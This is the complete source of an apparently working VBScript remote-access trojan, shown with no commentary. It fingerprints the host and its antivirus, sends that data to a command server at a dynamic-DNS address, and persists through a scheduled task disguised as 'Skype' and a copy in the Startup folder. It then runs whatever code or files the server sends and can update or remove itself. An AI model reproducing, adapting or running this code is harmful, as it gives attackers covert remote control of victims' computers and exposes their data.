On erRor resume Next

j = array("WScript.shell","Scripting.FileSystemObject","Shell.Application","Microsoft.XMLHTTP")
g = Array("HKCU","HKLM","HKCU\vw0rm","\Software\Microsoft\Windows\CurrentVersion\Run\","HKLM\SOFTWARE\Classes\","REG_SZ","\defaulticon\")
y= Array("winmgmts:","Win32_logicaldisk","Win32_OperatingSystem","winmgmts:\\Localhost\root\securitycenter","AntiVirusProduct")

Function go(m)
if m=4 then
T="winmgmts:\\Localhost\root\securitycenter"
Set B=GetObject(y(3)).InstancesOf(y(4))
for each a in b
go=a.displayName
exit for
next
Set B=GetObject(y(3) & "2").InstancesOf(y(4))
for each a in b
go=a.displayName
exit for
next
if go="" then go="not-Found"
else
Set B=GetObject(y(0)).InstancesOf(y(m))
for each a in b
if m = 1 then
go=a.volumeserialnumber
elseif m = 2 then
go=a.caption
end if
exit for
next
end if
end function

set w = WScript
set sh = Cr(0)
set fs = Cr(1)

Function Cr(N)
Set Cr = CreateObject(j(N))
End Function

Function Ex(s)
Ex = sh.ExpandEnvironmentStrings("%"&s&"%")
End Function

Function Pt(C,A)
Pt=""
Set X=Cr(3)
X.Open "POST","http://sogoserver.ddns.net:2222/"&C,false
X.setrequestheader "User-Agent:",nf
X.send A
Pt=X.responsetext
end function

Function nf
nf=""
i=go(1)
s=VN & "_" & i
nf=nf&s&c
s=ex("COMPUTERNAME")
nf=nf&s&c
s=ex("uSERNAME")
nf=nf&s&c
s=go(2)
nf=nf&s&c
s=go(4)
nf=nf&s&c&c&nt&c&u&c
End Function

Sub Ns
On Error Resume Next

sh.run "schtasks /create /sc minute /mo 1 /tn Skype /tr " & ChrW(34) & fu,false

fs.Copyfile fu, Cr(2).NameSpace(&H7).Self.Path &C & wn ,true
end Sub







vn="smsc"
U=""

ch = chrw(34)
c = chrw(92)
fu = w.scriptfullname
wn=w.scriptname
NT="No"
if fs.fileexists(ex("Windir") & "\Microsoft.NET\Framework\v2.0.50727\vbc.exe") then
NT="Yes"
end if

U= sh.regread(g(2))
if U="" then
if mid(fu,2)=":\" & wn then
U="TRUE"
sh.regwrite g(2), U, g(5)
else
U="FALSE"
sh.regwrite g(2), U, g(5)
end if
end if

Ns
spl="|V|"
while true
s=split(Pt("Vre",""),spl)
select case s(0)
case "exc"
sa= s(1)
execute sa
case "Sc"
s2 = Ex("Temp") & "\" & s(2)
set wr = fs.OpenTextFile(s2,2,True)
wr.Write s(1)
wr.Close()
sh.run s2, 6
case "RF"
s2 = Ex("Temp") & "\" & s(2)
set wr = fs.OpenTextFile(s2,2,True)
wr.Write s(1)
wr.Close()
sh.run s2
case "Ren"
set wr = fs.OpenTextFile(fu,1)
f = wr.ReadAll
wr.close()
f = replace(f,ch&vn&ch,ch&s(1)&ch)
set wr = fs.OpenTextFile(fu,2,false)
wr.Write f
wr.close()
case "Up"
set wr = fs.OpenTextFile(fu,2,false)
s(1) = replace(s(1),"|U|","|V|")
wr.Write s(1)
wr.Close()
sh.run "wscript.exe //B " & ch & fu & ch, 6
w.quit
case "Cl"
W.quit
case "Un"
S(1) = replace(S(1),"%f",fu)
S(1) = replace(S(1),"%n",wn)
S(1) = replace(S(1),"%sfdr",dr)
Execute S(1)
w.quit
end select
W.Sleep 5600

wend